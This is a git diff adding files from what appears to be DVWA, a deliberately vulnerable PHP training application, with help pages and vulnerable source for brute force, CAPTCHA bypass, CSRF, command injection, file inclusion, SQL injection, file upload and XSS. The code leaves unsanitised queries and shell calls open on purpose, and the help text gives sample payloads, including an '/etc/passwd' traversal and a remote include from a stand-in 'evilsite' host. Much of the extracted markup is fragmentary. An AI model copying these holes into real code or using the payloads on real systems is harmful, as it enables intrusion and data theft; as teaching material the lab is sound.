+ Password cracking is the process of recovering passwords from data that has been stored in or transmitted by a computer system. A common approach is to repeatedly try guesses for the password. + +Users often choose weak passwords. Examples of insecure choices include single words found in dictionaries, given and family names, any too short password + (usually thought to be 6 or 7 characters or less), or any password meeting a too restrictive and so predictable, pattern (eg, alternating vowels and consonants). + +A last resort is to try every possible password, known as a brute force attack. In theory, if there is no limit to the number of attempts, a brute force attack will always + be successful since the rules for acceptable passwords must be publicly known; but as the length of the password increases, so does the number of possible passwords. + + |
+
Reference: http://en.wikipedia.org/wiki/Password_cracking
+ +Welcome to the password protected area " . $user . "
"; + $html .= '"; + } + + mysql_close(); +} + +?> \ No newline at end of file diff --git a/vulnerabilities/brute/source/low.php b/vulnerabilities/brute/source/low.php new file mode 100644 index 000000000..e04c90b20 --- /dev/null +++ b/vulnerabilities/brute/source/low.php @@ -0,0 +1,29 @@ +' . mysql_error() . '' ); + + if( $result && mysql_num_rows( $result ) == 1 ) { + // Get users details + $i=0; // Bug fix. + $avatar = mysql_result( $result, $i, "avatar" ); + + // Login Successful + $html .= "
Username and/or password incorrect.
Welcome to the password protected area " . $user . "
"; + $html .= '"; + } + + mysql_close(); +} + +?> \ No newline at end of file diff --git a/vulnerabilities/brute/source/medium.php b/vulnerabilities/brute/source/medium.php new file mode 100644 index 000000000..8780e6c42 --- /dev/null +++ b/vulnerabilities/brute/source/medium.php @@ -0,0 +1,33 @@ +' . mysql_error() . '' ); + + if( $result && mysql_num_rows($result) == 1 ) { + // Get users details + $i=0; // Bug fix. + $avatar = mysql_result( $result, $i, "avatar" ); + + // Login Successful + $html .= "
Username and/or password incorrect.
Welcome to the password protected area " . $user . "
"; + $html .= '"; + } + + mysql_close(); +} + +?> \ No newline at end of file diff --git a/vulnerabilities/captcha/help/help.php b/vulnerabilities/captcha/help/help.php new file mode 100644 index 000000000..1d282b6ac --- /dev/null +++ b/vulnerabilities/captcha/help/help.php @@ -0,0 +1,40 @@ +
Username and/or password incorrect.
+
+ A CAPTCHA is a program that can tell whether its user is a human or a computer. You've probably seen + them — colorful images with distorted text at the bottom of Web registration forms. CAPTCHAs are used by many websites to prevent abuse from + "bots," or automated programs usually written to generate spam. No computer program can read distorted text as well as humans can, so bots + cannot navigate sites protected by CAPTCHAs. + +CAPTCHAs are often used to protect sensative functionality from automated bots. Such functionality typically includes user registration and changes, + password changes, and posting content. In this example, the CAPTCHA is guarding the change password functionality for the Administrator account. This provides + limited protection from CSRF attacks as well as automated bot guessing. + +The issue with this CAPTCHA is that it is easily bypassed. The developer has made the assumption that all users will progress through screen 1, complete the CAPTCHA, and then + move on to the next screen where the password is actually updated. By submitting the new password directly to the change page, the user may bypass the CAPTCHA. +The parameters required to complete this challenge in low security would be similar to the following: +step=2&password_new=password&password_conf=password&Change=Change + +For the medium level challenge, the developer has attempted to place state around the session and keep track of whether the user successfully completed the + CAPTCHA prior to submitting data. Because the state variable ("passed_captcha") is on the client side, it can also be manipulated by the attacker like so: +step=2&password_new=password&password_conf=password&passed_captcha=true&Change=Change + +In the high level, the developer has removed all avenues of attack. The process has been simplified so that data and CAPTCHA verification occurs in one + single step. Alternatively, the developer could have moved the state variable server side, or NONCE'd the form. + + |
+
Reference: http://www.captcha.net/
+ +"; + $hide_form = false; + return; + } else { + // Check that the current password is correct + $qry = "SELECT password FROM `users` WHERE user='admin' AND password='$pass_curr';"; + $result = mysql_query($qry) or die('
The CAPTCHA was incorrect. Please try again.
' . mysql_error() . '' ); + + if (($pass_new == $pass_conf) && ( $result && mysql_num_rows( $result ) == 1 )){ + $insert="UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; + $result=mysql_query($insert) or die('
' . mysql_error() . '' ); + + $html .= "
Password Changed"; + mysql_close(); + } + + else{ + $html .= "
Either your current password is incorrect or the new passwords did not match. Please try again."; + } + } +} +?> \ No newline at end of file diff --git a/vulnerabilities/captcha/source/low.php b/vulnerabilities/captcha/source/low.php new file mode 100644 index 000000000..5da9ed02f --- /dev/null +++ b/vulnerabilities/captcha/source/low.php @@ -0,0 +1,64 @@ +is_valid) { + // What happens when the CAPTCHA was entered incorrectly + $html .= "
"; + $hide_form = false; + return; + } else { + if (($pass_new == $pass_conf)){ + $html .= "
The CAPTCHA was incorrect. Please try again.
"; + $html .= " + "; + } + + else{ + $html .= "
You passed the CAPTCHA! Click the button to confirm your changes.
Both passwords must match"; + $hide_form = false; + } + } +} + +if( isset( $_POST['Change'] ) && ( $_POST['step'] == '2' ) ) +{ + $hide_form = true; + if ($pass_new != $pass_conf) + { + $html .= "
"; + $hide_form = false; + return; + } + $pass = md5($pass_new); + if (($pass_new == $pass_conf)){ + $pass_new = mysql_real_escape_string($pass_new); + $pass_new = md5($pass_new); + + $insert="UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; + $result=mysql_query($insert) or die('
Both passwords must match
' . mysql_error() . '' ); + + $html .= "
Password Changed"; + mysql_close(); + } + + else{ + $html .= "
Passwords did not match."; + } +} + +?> diff --git a/vulnerabilities/captcha/source/medium.php b/vulnerabilities/captcha/source/medium.php new file mode 100644 index 000000000..ad1485bc1 --- /dev/null +++ b/vulnerabilities/captcha/source/medium.php @@ -0,0 +1,63 @@ +is_valid) { + // What happens when the CAPTCHA was entered incorrectly + $html .= "
"; + $hide_form = false; + return; + } else { + if (($pass_new == $pass_conf)){ + $html .= "
The CAPTCHA was incorrect. Please try again.
"; + $html .= " + "; + } + + else{ + $html .= "
You passed the CAPTCHA! Click the button to confirm your changes.
Both passwords must match"; + $hide_form = false; + } + } +} + +if( isset( $_POST['Change'] ) && ( $_POST['step'] == '2' ) ) +{ + $hide_form = true; + if (!$_POST['passed_captcha']) + { + $html .= "
"; + $hide_form = false; + return; + } + $pass = md5($pass_new); + if (($pass_new == $pass_conf)){ + $pass_new = mysql_real_escape_string($pass_new); + $pass_new = md5($pass_new); + + $insert="UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; + $result=mysql_query($insert) or die('
You have not passed the CAPTCHA. Bad hacker, no doughnut.
' . mysql_error() . '' ); + + $html .= "
Password Changed"; + mysql_close(); + } + + else{ + $html .= "
Passwords did not match."; + } +} +?> diff --git a/vulnerabilities/csrf/help/help.php b/vulnerabilities/csrf/help/help.php new file mode 100644 index 000000000..539fd7b0d --- /dev/null +++ b/vulnerabilities/csrf/help/help.php @@ -0,0 +1,23 @@ +
+
+ CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social + engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit + can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application. + + |
+
Reference: http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
+ +' . mysql_error() . '' ); + + $html .= "
Password Changed"; + mysql_close(); + } + + else{ + $html .= "
Passwords did not match or current password incorrect."; + } + + } +?> \ No newline at end of file diff --git a/vulnerabilities/csrf/source/low.php b/vulnerabilities/csrf/source/low.php new file mode 100644 index 000000000..76488f6da --- /dev/null +++ b/vulnerabilities/csrf/source/low.php @@ -0,0 +1,26 @@ +' . mysql_error() . '' ); + + $html .= "
Password Changed"; + mysql_close(); + } + + else{ + $html .= "
Passwords did not match."; + } + + } +?> \ No newline at end of file diff --git a/vulnerabilities/csrf/source/medium.php b/vulnerabilities/csrf/source/medium.php new file mode 100644 index 000000000..e1746c222 --- /dev/null +++ b/vulnerabilities/csrf/source/medium.php @@ -0,0 +1,30 @@ +' . mysql_error() . '' ); + + $html .= "
Password Changed"; + mysql_close(); + } + + else{ + $html .= "
Passwords did not match."; + } + + } + + } +?> \ No newline at end of file diff --git a/vulnerabilities/exec/help/help.php b/vulnerabilities/exec/help/help.php new file mode 100644 index 000000000..532f15c12 --- /dev/null +++ b/vulnerabilities/exec/help/help.php @@ -0,0 +1,26 @@ +
+
+ The purpose of the command injection attack is to inject and execute commands specified by the attacker in the vulnerable application. + In situation like this, the application, which executes unwanted system commands, is like a pseudo system shell, and the attacker may use it + as any authorized system user. However, commands are executed with the same privileges and environment as the application has. Command injection + attacks are possible in most cases because of lack of correct input data validation, which can be manipulated by the attacker (forms, cookies, HTTP headers etc.). + +To add a command use ; for linux and && for windows. Example: 127.0.0.1 && dir + + |
+
Reference: http://www.owasp.org/index.php/Command_Injection
+ +Enter an IP address below:
+ + + {$html} + +'.$cmd.''; + + } + + } + + else { + $html .= '
ERROR: You have entered an invalid IP'; + } + + +} + +?> diff --git a/vulnerabilities/exec/source/low.php b/vulnerabilities/exec/source/low.php new file mode 100644 index 000000000..624c277b5 --- /dev/null +++ b/vulnerabilities/exec/source/low.php @@ -0,0 +1,21 @@ +'.$cmd.''; + + } else { + + $cmd = shell_exec( 'ping -c 3 ' . $target ); + $html .= '
'.$cmd.''; + + } + +} +?> \ No newline at end of file diff --git a/vulnerabilities/exec/source/medium.php b/vulnerabilities/exec/source/medium.php new file mode 100644 index 000000000..579e8ec66 --- /dev/null +++ b/vulnerabilities/exec/source/medium.php @@ -0,0 +1,29 @@ + '', + ';' => '', + ); + + $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); + + // Determine OS and execute the ping command. + if (stristr(php_uname('s'), 'Windows NT')) { + + $cmd = shell_exec( 'ping ' . $target ); + $html .= '
'.$cmd.''; + + } else { + + $cmd = shell_exec( 'ping -c 3 ' . $target ); + $html .= '
'.$cmd.''; + + } +} + +?> \ No newline at end of file diff --git a/vulnerabilities/fi/help/help.php b/vulnerabilities/fi/help/help.php new file mode 100644 index 000000000..2bc897b23 --- /dev/null +++ b/vulnerabilities/fi/help/help.php @@ -0,0 +1,30 @@ +
+
+ Some web applications allow the user to specify input that is used directly into file streams or allows the user to upload files to the server. + At a later time the web application accesses the user supplied input in the web applications context. By doing this, the web application is allowing + the potential for malicious file execution. + +Local Example: http://127.0.0.1/dvwa/fi/?page=../../../../../../etc/passwd + +or + +Remote Example: http://127.0.0.1/dvwa/fi/?page=http://www.evilsite.com/evil.php + + |
+
Reference: http://www.owasp.org/index.php/Top_10_2007-A3
+ +
+
+ A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. + A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database + (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a + type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands. + +The 'id' variable within this PHP script is vulnerable to SQL injection. + +There are 5 users in the database, with id's from 1 to 5. Your mission... to steal passwords! + +If you have received a Magicquotes error, turn them off in php.ini. + + |
+
Reference: http://www.owasp.org/index.php/SQL_Injection
+ +'; + $html .= 'ID: ' . $id . ''; + + $i++; + } + } +} +?> diff --git a/vulnerabilities/sqli/source/low.php b/vulnerabilities/sqli/source/low.php new file mode 100644 index 000000000..2a036c055 --- /dev/null +++ b/vulnerabilities/sqli/source/low.php @@ -0,0 +1,28 @@ +' . mysql_error() . '' ); + + $num = mysql_numrows($result); + + $i = 0; + + while ($i < $num) { + + $first = mysql_result($result,$i,"first_name"); + $last = mysql_result($result,$i,"last_name"); + + $html .= '
First name: ' . $first . '
Surname: ' . $last; + $html .= '
'; + $html .= 'ID: ' . $id . ''; + + $i++; + } +} +?> diff --git a/vulnerabilities/sqli/source/medium.php b/vulnerabilities/sqli/source/medium.php new file mode 100644 index 000000000..e2d885ad6 --- /dev/null +++ b/vulnerabilities/sqli/source/medium.php @@ -0,0 +1,30 @@ +' . mysql_error() . '' ); + + $num = mysql_numrows($result); + + $i=0; + + while ($i < $num) { + + $first = mysql_result($result,$i,"first_name"); + $last = mysql_result($result,$i,"last_name"); + + $html .= '
First name: ' . $first . '
Surname: ' . $last; + $html .= '
'; + $html .= 'ID: ' . $id . ''; + + $i++; + } +} +?> diff --git a/vulnerabilities/sqli_blind/help/help.php b/vulnerabilities/sqli_blind/help/help.php new file mode 100644 index 000000000..25f5d4069 --- /dev/null +++ b/vulnerabilities/sqli_blind/help/help.php @@ -0,0 +1,31 @@ +
First name: ' . $first . '
Surname: ' . $last; + $html .= '
+
+ When an attacker executes SQL Injection attacks, sometimes the server responds with error messages from the database server complaining that the SQL Query's syntax is incorrect. + Blind SQL injection is identical to normal SQL Injection except that when an attacker attempts to exploit an application, rather then getting a useful error message, + they get a generic page specified by the developer instead. This makes exploiting a potential SQL Injection attack more difficult but not impossible. An attacker can still steal data + by asking a series of True and False questions through SQL statements. + +The 'id' variable within this PHP script is vulnerable to SQL injection. + +There are 5 users in the database, with id's from 1 to 5. Your mission... to steal passwords! + +If you have received a Magicquotes error, turn them off in php.ini. + + |
+
Reference: http://www.owasp.org/index.php/Blind_SQL_Injection
+ +
+
+ Uploaded files represent a significant risk to applications. The first step in many attacks is to get some code to the system to be attacked. + Then the attack only needs to find a way to get the code executed. Using a file upload helps the attacker accomplish the first step. + +The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system, forwarding attacks to backend systems, + and simple defacement. It depends on what the application does with the uploaded file, including where it is stored. + +Another thing worth looking for are restrictions within 'hidden' form fields. + + |
+
Reference: http://www.owasp.org/index.php/Unrestricted_File_Upload
+ +'; + $html .= $target_path . ' succesfully uploaded!'; + $html .= ''; + + } + } + + else{ + + $html .= '
'; + $html .= 'Your image was not uploaded.'; + $html .= ''; + + } + } + +?> \ No newline at end of file diff --git a/vulnerabilities/upload/source/low.php b/vulnerabilities/upload/source/low.php new file mode 100644 index 000000000..d99135997 --- /dev/null +++ b/vulnerabilities/upload/source/low.php @@ -0,0 +1,22 @@ +'; + $html .= 'Your image was not uploaded.'; + $html .= ''; + + } else { + + $html .= '
'; + $html .= $target_path . ' succesfully uploaded!'; + $html .= ''; + + } + + } +?> \ No newline at end of file diff --git a/vulnerabilities/upload/source/medium.php b/vulnerabilities/upload/source/medium.php new file mode 100644 index 000000000..f36aff165 --- /dev/null +++ b/vulnerabilities/upload/source/medium.php @@ -0,0 +1,31 @@ +'; + $html .= 'Your image was not uploaded.'; + $html .= ''; + + } else { + + $html .= '
'; + $html .= $target_path . ' succesfully uploaded!'; + $html .= ''; + + } + } + else{ + echo '
Your image was not uploaded.'; + } + } +?> \ No newline at end of file diff --git a/vulnerabilities/view_help.php b/vulnerabilities/view_help.php new file mode 100644 index 000000000..851bf69bb --- /dev/null +++ b/vulnerabilities/view_help.php @@ -0,0 +1,24 @@ + + {$help} +
".highlight_string( $source, true )." |
+
".$highsrc." |
+
".$medsrc." |
+
".$lowsrc." |
+
+
+ Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. + Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. + Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it. + +An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. + Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with + that site. These scripts can even rewrite the content of the HTML page. + +Example: http://127.0.0.1/dvwa/xss.php?name=javascript + + |
+
Reference: http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
+ +
